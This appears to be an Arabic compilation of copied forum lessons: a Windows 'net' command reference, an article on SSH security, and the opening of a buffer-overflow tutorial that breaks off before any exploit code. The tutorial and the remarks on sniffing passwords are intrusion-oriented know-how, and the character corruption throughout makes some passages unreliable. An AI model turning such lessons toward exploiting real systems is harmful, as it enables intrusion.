‫المجال الساسية للمجال الحالي‪.‬‬ ‫وإل‪ ,‬يتم تنفيذ العملية على‬ ‫الكمبيوتر المحلي‪.‬‬ ‫‪net help command‬‬ ‫تعرض التعليمات لمر ‪net‬‬ ‫المحدد‪.‬‬ ‫ملحظات‬ ‫• يجب أن تكون تخدمة ‪Net‬‬ ‫‪ Logon‬قيد التشغيل على‬ ‫الكمبيوتر حيث ترغب بتغيير‬ ‫معلمات الحساب‪ .‬عند الستخدا‪.‬م‬ ‫دون معلمات‪ ،‬يعرض ‪net‬‬ ‫‪ accounts‬العدادات الحالية‬ ‫لكلمة المرور‪ ،‬وتحديدات تسجيل‬ ‫الدتخول‪ ،‬ومعلومات المجال‪.‬‬ ‫• يجب تنفيذ مايلي قبل أن تتمكن من‬ ‫استخدا‪.‬م ‪:net accounts‬‬ ‫‪ o‬إنشاء حسابات المستخدمين‪.‬‬ ‫استخد‪.‬م إدارة المستخدمين أو‬ ‫‪ net user‬لعداد حسابات‬ ‫المستخدمين‪.‬‬ ‫‪ o‬تشغيل تخدمة ‪Net Logon‬‬ ‫‪160‬‬

‫•‬

‫على كافة الملقمات التي‬ ‫تتحقق من تسجيل الدتخول في‬ ‫المجال‪ .‬يتم تشغيل ‪Net‬‬ ‫‪ Logon‬تلقائي ًا عند بدء‬ ‫التشغيل‪.‬‬ ‫عند استخدا‪.‬م ‪/forcelogoff:‬‬ ‫‪ ،minutes‬يتم إرسال تحذير‬ ‫قبل دقائق من فرض تسجيل‬ ‫الخروج من شبكة التصال على‬ ‫المستخدمين‪ .‬يتم أيض ًا إعل‪.‬م‬ ‫المستخدمين فيما إذا كانت هناك‬ ‫أية ملفات مفتوحة‪ .‬إذا كانت‬ ‫‪ minutes‬أقل من اثنين‪ ،‬يتم‬ ‫تحذير المستخدمين بتسجيل‬ ‫الخروج من شبكة التصال فور ًا‪.‬‬

‫أمثلة‬ ‫لعرض العدادات الحالية‪ ،‬ومتطلبات‬ ‫كلمة المرور‪ ،‬ودور ملقم ما‪ ،‬اكتب‪:‬‬ ‫‪net accounts‬‬ ‫لتعيين الحد الدنى بسبعة أحرف لكلمات‬ ‫مرور حسابات المستخدمين‪ ،‬اكتب‪:‬‬ ‫‪161‬‬

‫‪net accounts /minpwlen:7‬‬ ‫لتعيين إمكانية إعادة استخدا‪.‬م كلمة‬ ‫مرور من قبل المستخدمين فقط بعد‬ ‫المرة الخامسة التي يغيرون فيها كلمات‬ ‫المرور‪ ،‬اكتب‪:‬‬ ‫‪net accounts /uniquepw:5‬‬ ‫لمنع المستخدمين من تغيير كلمات‬ ‫المرور أكثر من كل سبعة أيا‪.‬م‪ ،‬وفرض‬ ‫تغيير كلمات المرور عليهم كل ‪30‬‬ ‫يوم ًا‪ ،‬وفرض تسجيل الخروج عليهم‬ ‫بعد انتهاء مدة صلحية وقت تسجيل‬ ‫الدتخول مع تحذير مدته تخمس دقائق‪،‬‬ ‫اكتب‪:‬‬ ‫‪net accounts /minpwage:7‬‬ ‫‪/maxpwage:30‬‬ ‫‪/forcelogoff:5‬‬ ‫لضمان أن تكون العدادات السابقة‬ ‫سارية المفعول من أهجل المجال الذي تم‬ ‫تسجيل دتخول الكمبيوتر إليه‪ ،‬اكتب‪:‬‬ ‫‪net accounts /minpwage:7‬‬ ‫‪/maxpwage:30 /domain‬‬ ‫‪162‬‬

‫‪Net computer‬‬ ‫يضيف أو يحذف أهجهزة كمبيوتر من‬ ‫قاعدة بيانات مجال‪.‬‬ ‫بناء الجملة‬ ‫‪net‬‬ ‫\ ‪computer‬‬ ‫| ‪\ComputerName {/add‬‬ ‫}‪/del‬‬ ‫المعلمات‬ ‫‪\\ComputerName‬‬ ‫تعين الكمبيوتر لتتم إضافته أو‬ ‫حذفه من المجال‪.‬‬ ‫}‪{/add | /del‬‬ ‫تضيف أو تزيل الكمبيوتر المعين‬ ‫من المجال‪.‬‬ ‫‪net help command‬‬ ‫تعرض التعليمات لمر ‪net‬‬ ‫المحدد‪.‬‬ ‫ملحظات‬ ‫• ‪ Net computer‬يعيد توهجيه‬ ‫كافة عمليات إضافة وحذف أهجهزة‬ ‫‪163‬‬

‫الكمبيوتر إلى وحدة تحكم المجال‪.‬‬ ‫أمثلة‬ ‫لضافة الكمبيوتر ‪ Grizzlybear‬إلى‬ ‫مجال‪ ،‬اكتب‪:‬‬ ‫‪net computer \\grizzlybear‬‬ ‫‪/add‬‬ ‫‪Net config‬‬ ‫يعرض الخدمات قيد التشغيل لوالقابلة‬ ‫للتكوين‪ ،‬ألو يعرض لويغير إعداادات‬ ‫خدمة الملقم ألو خدمة محطة العمل‪ .‬عند‬ ‫الستخدام ادلون معلمات‪ ،‬يعرض ‪net‬‬ ‫‪ config‬قائمة بالخدمات القابلة‬ ‫للتكوين‪.‬‬ ‫بناء الجملة‬ ‫|‪net config [{server‬‬ ‫]}‪workstation‬‬ ‫المعلمات‬ ‫‪server‬‬ ‫تعرض إعدادات تخدمة الملقم‬ ‫‪164‬‬

‫وتسمح لك بإهجراء تغييرات عليها‬ ‫بينما تكون الخدمة قيد التشغيل‪.‬‬ ‫‪workstation‬‬ ‫تعرض إعدادات تخدمة محطة العمل‬ ‫وتسمح لك بإهجراء تغييرات عليها‬ ‫بينما تكون الخدمة قيد التشغيل‪.‬‬ ‫?‪/‬‬ ‫تعرض التعليمات في موهجه‬ ‫الوامر‪.‬‬ ‫ملحظات‬ ‫استخد‪.‬م ‪net config server‬‬ ‫لتغيير إعدادات تخدمة الملقم القابلة‬ ‫للتكوين‪ .‬تكون التغييرات نافذة المفعول‬ ‫في الحال ودائمة‪.‬‬ ‫ل يمكنك تغيير كافة إعدادات تخدمة‬ ‫الملقم باستخدا‪.‬م ‪net config‬‬ ‫‪ .server‬يعرض ‪Net config‬‬ ‫‪ server‬المعلومات التالية التي ل‬ ‫يمكنك تكوينها‪:‬‬ ‫‪Server computer name‬‬ ‫‪Server comment‬‬ ‫‪) Server version‬أي‪ ،‬رقم إصدار‬ ‫‪165‬‬

‫البرنامج(‬ ‫‪) Server is active on‬أي‪،‬‬ ‫وصف لشبكة التصال(‬ ‫‪) Server hidden‬أي‪ ،‬العداد ‪/hi‬‬ ‫‪(dden‬‬ ‫‪Maximum logged on‬‬ ‫‪) users‬أي‪ ،‬الحد القصى لعدد‬ ‫المستخدمين الذين يمكنهم استخدا‪.‬م‬ ‫موارد الملقم المشتركة(‬ ‫‪Maximum open files per‬‬ ‫‪) session‬أي‪ ،‬الحد القصى لعدد‬ ‫ملفات الملقم التي يمكن أن يفتحها‬ ‫المستخدمون أثناء هجلسة العمل(‬ ‫‪) Idle session time‬بالدقائق(‬ ‫استخد‪.‬م ‪net config‬‬ ‫‪ workstation‬لتغيير إعدادات تخدمة‬ ‫محطة العمل القابلة للتكوين‪.‬‬ ‫يعرض ‪Net config‬‬ ‫‪ workstation‬المعلومات التالية‪:‬‬ ‫‪Computer name‬‬ ‫‪Full computer name‬‬ ‫‪User name‬‬ ‫‪166‬‬

،‫ )أي‬Workstation active on (‫وصف لشبكة التصال‬ ‫ رقم‬،‫ )أي‬Software version (‫إصدار البرنامج‬ Workstation domain Workstation domain DNS name Logon domain (‫ )بالثواني‬COM open timeout (‫ )بالبت‬COM send count ‫ )بالميللي‬COM send timeout (‫ثانية‬ Net continue ‫يتابع تخدمة تم إيقافها بشكل مؤقت‬ .net pause ‫بواسطة‬ ‫بناء الجملة‬ net continue service ‫المعلمات‬ service ‫ تعين الخدمة التي تريد‬.‫مطلوبة‬ 167

‫متابعتها‪ .‬يسرد الجدول التالي‬ ‫بعض قيم ‪.service‬‬ ‫الوصف‬ ‫القيمة‬ ‫تتابع تخدمة ‪Net‬‬ ‫‪netlogon‬‬ ‫‪.Logon‬‬ ‫تتابع تخدمة ‪NT‬‬ ‫"‪nt lm‬‬ ‫‪LM Security security‬‬ ‫‪Support‬‬ ‫‪support‬‬ ‫‪.Provider "provider‬‬ ‫تتابع تخدمة هجدولة‬ ‫‪schedule‬‬ ‫المها‪.‬م‪.‬‬ ‫تتابع تخدمة‬ ‫‪server‬‬ ‫الملقم‪.‬‬ ‫‪ workstatio‬تتابع تخدمة محطة‬ ‫العمل‪.‬‬ ‫‪n‬‬ ‫‪net help command‬‬ ‫تعرض التعليمات لمر ‪net‬‬ ‫المحدد‪.‬‬ ‫ملحظات‬ ‫• لهجراء تصحيح صغير على مورد‬ ‫ما‪ ،‬قم بإيقاف الخدمة مؤقت ًا‪.‬‬ ‫‪168‬‬

‫•‬

‫•‬

‫استخد‪.‬م المر ‪net continue‬‬ ‫لعادة تنشيط الخدمة أو الطابعة‪،‬‬ ‫دون إلغاء اتصالت المستخد‪.‬م‪.‬‬ ‫يمكن أن يختلف تأثير إيقاف‬ ‫الخدمة مؤقت ًا ومتابعتها بحسب كل‬ ‫تخدمة‪.‬‬ ‫إذا كان اسم الخدمة يحتوي على‬ ‫فراغات‪ ،‬استخد‪.‬م علمات القتباس‬ ‫حول النص )على سبيل المثال‪" ،‬‬ ‫‪.("Service Name‬‬

‫أمثلة‬ ‫يتابع المر التالي تخدمة محطة العمل‪:‬‬ ‫‪net continue workstation‬‬ ‫إذا كان اسم الخدمة يتألف من كلمتين‬ ‫أو أكثر‪ ،‬عليك تضمين اسم الخدمة‬ ‫ضمن علمات اقتباس‪ .‬على سبيل‬ ‫المثال‪ ،‬لمتابعة تخدمة ‪NT LM‬‬ ‫‪Security Support Provider‬‬ ‫‪ ،Service‬اكتب‪:‬‬ ‫‪net continue "nt lm‬‬ ‫‪security support‬‬ ‫‪169‬‬

‫"‪provider‬‬ ‫‪Net file‬‬ ‫يعرض أسماء كافة الملفات المشتركة‬ ‫المفتوحة على ملقم ما وعدد عمليات‬ ‫تأمين الملفات‪ ،‬في حال وهجودها‪ ،‬على‬ ‫كل ملف‪ .‬يغلق هذا المر أيض ًا الملفات‬ ‫المشتركة الفردية ويزيل عمليات تأمين‬ ‫الملفات‪ .‬عند الستخدا‪.‬م دون معلمات‪،‬‬ ‫يعرض ‪ net file‬قائمة بالملفات‬ ‫المفتوحة على الملقم‪.‬‬ ‫بناء الجملة‬ ‫]]‪net file [ID [/close‬‬ ‫المعلمات‬ ‫‪ID‬‬ ‫تعين رقم تعريف الملف‪.‬‬ ‫‪/close‬‬ ‫تغلق ملف ًا مفتوح ًا وتحرر السجلت‬ ‫التي تم تأمينها‪ .‬اكتب هذا المر‬ ‫من موهجه الوامر على الملقم حيث‬ ‫تتم مشاركة الملف‪.‬‬ ‫‪170‬‬

‫‪net help command‬‬ ‫تعرض التعليمات لمر ‪net‬‬ ‫المحدد‪.‬‬ ‫ملحظات‬ ‫يمكنك أيض ًا كتابة ‪ net files‬لتشغيل‬ ‫هذا المر‪.‬‬ ‫استخد‪.‬م ‪ net file‬لعرض الملفات‬ ‫المشتركة على شبكة التصال والتحكم‬ ‫بها‪ .‬في بعض الحيان‪ ،‬يترك المستخد‪.‬م‬ ‫ملف ًا مشترك ًا مفتوح ًا ومؤمن ًا بطريق‬ ‫الخطأ‪ .‬عند حدوث هذا‪ ،‬ل يمكن لهجهزة‬ ‫الكمبيوتر التخرى على شبكة التصال‬ ‫الوصول إلى الهجزاء المؤمنة من‬ ‫الملف‪ .‬استخد‪.‬م ‪net file /close‬‬ ‫لزالة التأمين وإغلق الملف‪ .‬إن‬ ‫إتخراج ‪ net file‬مشابه لمايلي‪:‬‬ ‫‪File‬‬ ‫‪Path‬‬ ‫‪Username #locks‬‬ ‫‪------------------------------------‬‬‫‪-----‬‬‫‪0‬‬ ‫‪C:\A_FILE.TXT‬‬ ‫‪MARYSL‬‬ ‫‪0‬‬ ‫‪171‬‬

1

C:\DATABASE DEBBIET 2 ‫أمثلة‬ ‫لعرض معلومات حول الملفات‬ :‫ اكتب‬،‫المشتركة‬ net file ،1 ‫لغلق ملف لديه رقم التعريف‬ :‫اكتب‬ net file 1 /close Net group ‫ ألو يعدل‬،‫ ألو يعرض‬،‫يضيف‬ .‫المجموعات العمومية في المجالت‬ ‫بناء الجملة‬ net group [groupname [/comment:"text"]] [/domain] net group [groupname {/add [/comment:"text"] | /delete} [/domain]]

172

‫‪net group [groupname‬‬ ‫| ‪username[ ...] {/add‬‬ ‫]]‪/delete} [/domain‬‬ ‫المعلمات‬ ‫‪groupname‬‬ ‫تعين اسم المجموعة لتتم إضافتها‪،‬‬ ‫أو توسيعها‪ ،‬أو حذفها‪ .‬ع ّين اسم‬ ‫مجموعة لعرض قائمة‬ ‫المستخدمين في المجموعة فقط‪.‬‬ ‫"‪/comment:"text‬‬ ‫تضيف تعليق ًا لمجموعة هجديدة أو‬ ‫موهجودة‪ .‬يمكن أن يحتوي التعليق‬ ‫على ‪ 48‬حرف ًا كحد أقصى‪ .‬قم‬ ‫بتضمين النص ضمن علمات‬ ‫اقتباس‪.‬‬ ‫‪/domain‬‬ ‫تنفذ العملية على وحدة تحكم‬ ‫المجال في المجال الحالي‪ .‬وإل‪,‬‬ ‫يتم تنفيذ العملية على الكمبيوتر‬ ‫المحلي‪.‬‬ ‫‪/add‬‬ ‫‪173‬‬

‫تضيف مجموعة‪ ،‬أو تضيف اسم‬ ‫مستخد‪.‬م إلى مجموعة‪ .‬يجب‬ ‫تأسيس حساب للمستخدمين الذين‬ ‫تضيفهم إلى المجموعة باستخدا‪.‬م‬ ‫هذا المر‪.‬‬ ‫‪/delete‬‬ ‫تزيل مجموعة‪ ،‬أو تزيل اسم‬ ‫مستخد‪.‬م من مجموعة‪.‬‬ ‫]‪UserName[ ...‬‬ ‫تسرد اسم واحد أو أكثر من أسماء‬ ‫المستخدمين لتتم إضافته إلى‬ ‫مجموعة أو لتتم إزالته منها‪.‬‬ ‫افصل إدتخالت أسماء المستخدمين‬ ‫المتعددة بفراغات‪.‬‬ ‫‪net help command‬‬ ‫تعرض التعليمات لمر ‪net‬‬ ‫المحدد‪.‬‬ ‫ملحظات‬ ‫عند الستخدام ادلون معلمات‪ ،‬يعرض‬ ‫‪ net group‬اسم الملقم لوأسماء‬ ‫المجموعات الموجوادة عليه‪.‬‬ ‫يمكنك أيض‪ً.‬ا كتابة ‪.net groups‬‬ ‫‪174‬‬

‫استخدم ‪ net group‬لتجميع‬ ‫المستخدمين الذين يستخدمون شبكة‬ ‫التصال بطرق متشابهة ألو بنفس‬ ‫الطرق‪ .‬عندما تعين حقوق لمجموعة‬ ‫ما‪ ،‬فإن كل عضو في المجموعة يملك‬ ‫هذه الحقوق تلقائي‪ً.‬ا‪ .‬في الخراج‪ ،‬يسبق‬ ‫‪ net group‬المجموعات التي تتضمن‬ ‫مستخدمين لومجموعات بآن لواحد‬ ‫بالعلمة النجمية )*(‪.‬‬ ‫إخراج ‪ net group‬للمجموعات على‬ ‫الملقم مشابه لمايلي‪:‬‬ ‫‪Group Accounts for‬‬ ‫‪\\PRODUCTION‬‬ ‫‪------------------------------------‬‬‫‪--------‬‬‫‪*Domain Admins‬‬ ‫‪*Domain Users‬‬ ‫أمثلة‬ ‫لعرض قائمة بكافة المجموعات‬ ‫الموهجودة على الملقم المحلي‪ ،‬اكتب‪:‬‬ ‫‪net group‬‬ ‫لضافة مجموعة تدعى ‪ nor‬إلى قاعدة‬ ‫‪175‬‬

‫بيانات حسابات المستخدمين المحلية‪،‬‬ ‫اكتب‪:‬‬ ‫‪net group NOR /add‬‬ ‫لضافة مجموعة تدعى ‪ nor‬إلى قاعدة‬ ‫بيانات المجال‪ ،‬اكتب‪:‬‬ ‫‪net group NOR /add‬‬ ‫‪/domain‬‬ ‫لضافة حسابات المستخدمين الموهجودة‬ ‫‪ ،stevev‬و ‪ ،ralphr‬و ‪jennyt‬‬ ‫إلى المجموعة ‪ nor‬على الكمبيوتر‬ ‫المحلي‪ ،‬اكتب‪:‬‬ ‫‪net group NOR stevev‬‬ ‫‪ralphr jennyt /add‬‬ ‫لضافة حسابات المستخدمين الموهجودة‬ ‫‪ ،stevev‬و ‪ ،ralphr‬و ‪jennyt‬‬ ‫إلى المجموعة ‪ nor‬في قاعدة بيانات‬ ‫المجال‪ ،‬اكتب‪:‬‬ ‫‪net group NOR stevev‬‬ ‫‪ralphr jennyt /add /domain‬‬ ‫لعرض المستخدمين في المجموعة‬ ‫‪ ،nor‬اكتب‪:‬‬ ‫‪net group NOR‬‬ ‫‪176‬‬

‫‪Net help‬‬ ‫يوفر قائمة بأوامر ومواضيع شبكة‬ ‫التصال التي يمكنك الحصول على‬ ‫التعليمات الخاصة بها‪ ،‬أو يوفر‬ ‫معلومات حول أمر معين‪ .‬عند‬ ‫الستخدا‪.‬م دون معلمات‪ ،‬يعرض ‪net‬‬ ‫‪ help‬قائمة بالوامر والمواضيع التي‬ ‫يمكنك الحصول على التعليمات الخاصة‬ ‫بها‪.‬‬ ‫بناء الجملة‬ ‫]‪net help [command‬‬ ‫المعلمات‬ ‫‪command‬‬ ‫‪/help‬‬ ‫تعرض بناء الجملة الصحيح‬ ‫وتعليمات المر‪.‬‬ ‫تعين المر الذي تريد التعليمات‬ ‫الخاصة به‪.‬‬ ‫أمثلة‬ ‫لعرض التعليمات الخاصة بالمر ‪net‬‬ ‫‪177‬‬

‫‪ ،use‬اكتب‪:‬‬ ‫‪net help use‬‬ ‫أو اكتب‪:‬‬ ‫‪net use /help‬‬ ‫لعرض بناء الجملة للمر ‪net help‬‬ ‫فقط‪ ،‬اكتب‪:‬‬ ‫?‪net help /‬‬ ‫‪Net helpmsg‬‬ ‫يفسر سبب حدوث تخطأ ويوفر معلومات‬ ‫لحل المشكلة‪.‬‬ ‫بناء الجملة‬ ‫‪net helpmsg message#‬‬ ‫المعلمات‬ ‫‪message#‬‬ ‫مطلوبة‪ .‬تعين الرقم ذو الخانات‬ ‫الربعة للرسالة التي تريد الحصول‬ ‫على المزيد من المعلومات حولها‪.‬‬ ‫‪net help command‬‬ ‫تعرض التعليمات لمر ‪net‬‬ ‫المحدد‪.‬‬ ‫‪178‬‬

‫ملحظات‬ ‫عند فشل عمل شبكة التصال‪ ،‬تظهر‬ ‫رسالة مشابهة لمايلي‪:‬‬ ‫‪2182: The requested service has already been‬‬ ‫‪started.‬‬

‫أمثلة‬ ‫للحصول على المزيد من المعلومات‬ ‫حول رسالة العل‪.‬م بالخطأ ‪NET‬‬ ‫‪ ،2182‬اكتب‪:‬‬ ‫‪net helpmsg 2182‬‬ ‫‪Net localgroup‬‬ ‫يضيف المجموعات الحلية‪ ،‬أو‬ ‫يعرضها‪ ،‬أو يعدلها‪ .‬عند الستخدا‪.‬م‬ ‫دون معلمات‪ ،‬يعرض ‪net‬‬ ‫‪ localgroup‬اسم الملقم وأسماء‬ ‫المجموعات المحلية على الكمبيوتر‪.‬‬ ‫بناء الجملة‬ ‫‪net localgroup‬‬ ‫‪[GroupName‬‬ ‫]]"‪[/comment:"text‬‬ ‫‪179‬‬

‫انتهى‪،،،‬‬

‫‪180‬‬

‫"شرح الـ ‪"secure shell‬‬ ‫>منقول من منتديات ابن مصر<‬ ‫>الكاتب‪
‫لتنفيذ اوامر او مها‪.‬م معينه داتخل هذا الجهاز اى و هو‬ ‫التصال عن بعد ‪ remotely connection‬و‬ ‫تستخد‪.‬م ايضا فى نقل الملفات من كمبيوتر الى اتخر و‬ ‫هى تقد‪.‬م توثيق قوى و اتصال امن هجداا فى قنوات‬ ‫التصال الغير امنه و هى تعتبر كبديل هجيد هجداا لدوات‬ ‫تستعمل لنفس الغرض فى يونكس مثل )‪rlogin,rsh‬‬ ‫‪.(and rcp‬‬ ‫و تقد‪.‬م ايضا ال ‪ secure shell‬اتصال امن هجداا‬ ‫لشحنات اتصالت ال ‪ tcp‬كونيكشن ‪.‬‬

‫و هنا يأتى سؤال مهم ‪ ::‬و السؤال هو ‪::‬‬ ‫لماذا يفضل استخدا‪.‬م ال ‪ secure shell‬على‬ ‫الدوات التخرى التى يطلق عليها ‪r- commands‬‬ ‫فى يونكس‬ ‫=============================‬ ‫=====================‬ ‫=============================‬ ‫=========‬ ‫كالمذكورين فى العلى ؟‬ ‫‪182‬‬

‫======================‬ ‫فى توزيعات اليونكس مثل ال *‪ BSD‬تتعرض الدوات‬ ‫التى يطلق عليها ‪ r- commands‬مثل )‬ ‫‪ (rlogin,rsh and rcp‬الى انواع مختلفه من‬ ‫الهجمات حيث انه لو شخص استطاع ان يكتسب ال‬ ‫روت اكسيس )‪ (root access‬للهجهزه التى على‬ ‫الشبكه بطريقه ما او فعلها ن طريق اتصال فيزيائى اى‬ ‫ريموتلى يمكنه ان يدتخل الى كل بيانات الهجهزه التى‬ ‫على الشبكه بدون ادنى صعوبه لنه يستطيع بالروت‬ ‫اكسس ان يعبر من تخلل اى اداه من المذكوره فى‬ ‫يونكس بدون اى صعوبه و يمكنه تفاديها بطرق معينه‬ ‫و هذا ما يسمى بأن الشخص لديه ‪unauthorized‬‬ ‫‪ access to systems‬اعتقد انكم فهمتونى الن‬ ‫و يمكن ايضا لى شخص ان يراقب و النت ورك‬ ‫ترافيك و يلتقط كل الباكيدهجس من تخلل شبكتك و‬ ‫تكون هذه الباكيدهجس تحتوى على الباسوردس‬ ‫للسيستم حق شبكتك‬ ‫ملحوظه‪ :‬طريقه مراقبه النت ورك ترافيك هى طريقه‬ ‫حقيقيه فى التختراق و تستخد‪.‬م فى اتختراق المنظمات‬ ‫الكبرى و تقع تحت بند تقفى الثر و العداد للتختراق‬ ‫(‬ ‫‪183‬‬

‫و الن نعود الى السيكيور شيل و مزايا السيكيور شيل‬ ‫تظهر هنا مع كل عيوب الدوات فى يونكس فالسيكيور‬ ‫شيل يطالب الشخص الذى لديه الروت اكسس ايضا‬ ‫بأن يتصل اتصال موثوق عبره اى ل يعطيه الحق‬ ‫للدتخول الى بيانات اهجهزه الشبكه ال بالباسورد و ل‬ ‫يمكن التحايل على ال ‪ ssh‬فى هذه النقطه و بذلك‬ ‫حتى لو تمكن الشخص من اكتساب الروت اكسس لن‬ ‫يستطسع الطلع على بيانات الشبكه‬ ‫ال ب ‪. authorized access to systems‬‬ ‫و النقطه الثانيه هى ان اذا حاول احد اتختراقك عن‬ ‫طريق مراقبه النت وررك ترافيك لشبكتك و التقاط‬ ‫الباكيدهجس التى تحمل معلوماتك و باسورداتك‬ ‫فسيخيب امله لن السيكيور شيل ل يرسل الباسوردات‬ ‫فى صوره واضحه كما ترسلها ادوات يونكس التخرى‬ ‫و لكن يرسلها مشفره و لذلك سيكون على المخترق‬ ‫محاوله فك الشفره و الخ‬ ‫و لكن مع كل هذه المزايا لم يخلى ال ‪secure‬‬ ‫‪ shell‬من الثغرات و لكن تعتبر ثغراته قليل و تقريبا‬ ‫معظمها يحتاج الى الرووت اكسس و التخرى يمكن ان‬ ‫‪184‬‬

‫تخترق السيكيور شل فقط بها )هذا كل‪.‬م بينى و بينكم(‬ ‫و الن سؤال اتخر ‪::‬‬ ‫ما هى انواع الهجو‪.‬م التى تحمى منها ال ‪ ssh‬؟‬ ‫=============================‬ ‫==============‬ ‫‪ -1‬تحمى من ال ‪ ip spoofing‬اى تحمى من‬ ‫انتحال عنواين الى بى حيث انه لو ارسل شخص ما‬ ‫باكيدهجس من اى بى يظهر انه موثوق به و لكنه فى‬ ‫الحقيقه ليس موثوق به يكشفه ال ‪ ssh‬و تحمى ايضا‬ ‫ال ‪ ssh‬من المنتحلين على الشبكه المحليه اى‬ ‫‪. localy‬‬ ‫‪ -2‬تحمى مما يسمى ال ‪DNS spoofing‬‬ ‫‪ -3‬تعترض ظهور التيكستس التى يكون مخزن عليها‬ ‫الباسوردات الواضحه و بيانات الهوستس‬ ‫‪ -4‬تحميك من معالجه البيانات المخزنه اى تمنع اى‬ ‫شخص غير موثوق به من عمل ايديت لى داتا مخزنه‬ ‫‪185‬‬

‫و لكن مع كل هذا فأن ال ‪ ssh‬ليس امن بدرهجه كبيره‬ ‫حيث ان الشخاص ذو تخبره كبيره فى النت ورك‬ ‫يستطيعون ان يجعلون ال ‪ ssh‬ينقطع عن التصال اى‬ ‫‪ disconnected‬و لكن ل يمكن ان يكسرو تشفير‬ ‫بياناته او يعيدون تشخيل الترافيك الذى كان ينقلها ‪.‬‬ ‫و ايضا كل الشياء التى تكلمنا عنها فوق سوف تعمل‬ ‫فقط اذا كنت تستخد‪.‬م تخاصيه التشفير التى تسمح لك‬ ‫بها ال ‪ ssh‬و هى تسمح بأكثر من نوع تشفير مثل )‬ ‫‪three-key triple-DES, DES, RC4-128,‬‬ ‫‪ (TSS, Blowfish‬يمكنك استخدا‪.‬م ما تريد منهم و‬ ‫ايضا هناك اوبشن اى تخيار فى الداه تسمح لك بعد‪.‬م‬ ‫تشغيل التشفير اى" ‪encryption of type‬‬ ‫‪ "none‬و بهذا تجعلنى اقول عليك احمق ! لن هذا‬ ‫يجعل ال ‪ ssh‬سهله التختراق مثل الدوات التى تم‬ ‫ذكرها فى اول الموضوع فى يونكس ‪ ,‬حيث ان هذا‬ ‫التشفير ايضا يمنع ال ‪ ip spoofing‬و ال ‪DNS‬‬ ‫‪ spoofing‬و هذا ايضا بالضافه الى تغيير مفاتيح‬ ‫فك التشفير كل فتره معينه و يتم تدمير مفاتيح التدمير‬ ‫التى تم استعمالها تماما ‪.‬‬ ‫‪186‬‬

‫اذن فهى اداه حقا مميزه و تستحق الحترا‪.‬م و الهتما‪.‬م‬ ‫مع انها ل تخلو من الثغرات و لكن لنجعلها افضل ما‬ ‫موهجود فى هذا المجال‬ ‫ارهجو ان اكون قد افدتكم فى هذا الدرس بالتعرف على‬ ‫اداه مثل السيكيور شيل و ارهجو ان اكون عند حسن‬ ‫ظنكم‪.‬‬ ‫انتهى‪،،،‬‬

‫" شرح معنى الـ ‪"Buffer Overflows‬‬ ‫>منقول من منتديات شبكة الحز‪.‬م السلمية<‬ ‫>الكاتب‪
‫يله نبدأ‬ ‫محتويات الدرس‪:‬‬ ‫‪ -1‬ما هو الـ ‪ Buffer Overflow‬؟‬ ‫<‪--------------------------‬‬ ‫‪ -2‬المعالجه)‪(Proccess‬‬ ‫<‪-----------------‬‬ ‫‪ -3‬إدارة الذاكره )‪(Memory management‬‬ ‫<‪--------------------------------‬‬ ‫‪-4‬استغلل ماذكر في الـ ‪Buffer Overflow‬‬ ‫<‪----------------------------------‬‬ ‫* ماذا يجب أن أعرف قبل أن أقرأ هذه المقالة؟‬ ‫ليس الكثير‪ ،،،‬فهذا دليل اساسي لك اذن فقط تحتاج ان‬ ‫تكون لديك معرفة أساسية بمفهو‪.‬م برامج الحاسوب‬ ‫وإدارة الذاكرة‬ ‫‪188‬‬

‫‪-1‬ما هو الـ ‪Buffer Overflow‬؟‬ ‫<‪>-----------------------‬‬ ‫‪ Buffer Overflow‬حالة تحدث لبرنامج بسبب‬ ‫برمجة سيئة أو بمعنى اتخر برمجة تحمل أتخطاء‪.‬‬ ‫احدث ثغرة يمكنك أستغللها من نوع ‪Buffer‬‬ ‫‪ Overflow‬تسمى فايروس '‪ ، 'code red‬التي‬ ‫أستغلت في تخاد‪.‬م ‪ IIS‬لمايكروسوفت ‪MS web-‬‬ ‫‪- server‬‬ ‫عموما‪ ،‬يحدث ‪ Buffer Overflow‬عندما يظهر‬ ‫برنامج ما متغ ّير بحجم ثابت )على سبيل المثال‪،‬حجم‬ ‫صصت إلى هذه المتغ ّير‬ ‫‪ 20‬بايت( و القيمة التي تخ ّ‬ ‫أكبر من حجم المتغ ّير‪.‬‬ ‫تخذ هذا المثال‪:‬‬ ‫يظهر برنامجي على الشاشة هذه الجملة‪" :‬رهجاء إطبع‬ ‫اسمك الول‪" :‬ثم سيأتخذ برنامجي من المستخد‪.‬م‬ ‫البيانات التي سيدتخلها وهي )اسمه الول( ثم توضع‬ ‫في متغير فتظهر في برنامجي او تخزن‪.‬‬ ‫المشكلة هنا تكمن في انه إذا كان المتغ ّير مخصص‬ ‫لتخزين بيانات حجمها القصى يساوي ‪ 15‬بايت‬ ‫والبيانات هنا)وهي اسم المستخد‪.‬م(حجمها ‪ 25‬بايت‬ ‫‪189‬‬

‫التي ستخزن في المتغير )يتضح لنا ان اسم المستخد‪.‬م‬ ‫وضع في مكان اقل من حجمه (‪.‬‬ ‫اذن ماذا سيحدث للبيانات الزائدة عن ‪ 15‬بايت من‬ ‫المؤكد انها سـ"تطفح ‪ "Overflow‬على الذاكرة‬ ‫صصت لمتغ ّير السم‪.‬‬ ‫التي تخ ّ‬ ‫صص الذاكرة ‪:‬‬ ‫عندما يبدأ البرنامج‪ ،‬تخ ّ‬ ‫>‪var1>‪var1 >
‫اذا ماذا حدث ؟؟ المتغ ّير ‪" vname‬طفح‬ ‫‪ "overflowed‬بسبب البيانات المدتخلة عليه من‬ ‫قبل المستخد‪.‬م و قيمة "‪other things in‬‬ ‫‪ memory‬أشياء اتخرى في الذاكره" تغ ّيرت بسبب‬ ‫فيض)‪ (overflow‬الحروف من ادتخال المستخد‪.‬م‪.‬‬ ‫اذن كيف أستغ ّل هذا الخطأ؟؟؟‬ ‫قبل أن نصل إلى الجواب‪ ،‬هناك بعض الشياء‬ ‫الساسية المهمة التي يجب علينا أن نعرفها حول‬ ‫تركيب وبنية الحاسوب ‪.‬‬ ‫في هذه المقالة سنناقش نظا‪.‬م لينكس ‪ ،linux‬لكن‬ ‫المفهو‪.‬م مماثل لباقي النظمة‪.‬‬

‫‪-2‬المعالجه)‪:(Proccess‬‬ ‫<‪>----------------‬‬ ‫ن الوحدة الوظيفية الساسية في حاسوب يعمل هي‬ ‫إ ّ‬ ‫عملية المعالجه )‪.(Proccess‬في الحاسوب هنالك‬ ‫العديد من العمليات ونظا‪.‬م التشغيل مسؤول عن تقسيم‬ ‫الق ّوة التي تجعل العديد من العمليات تعمل في نفس‬ ‫‪191‬‬

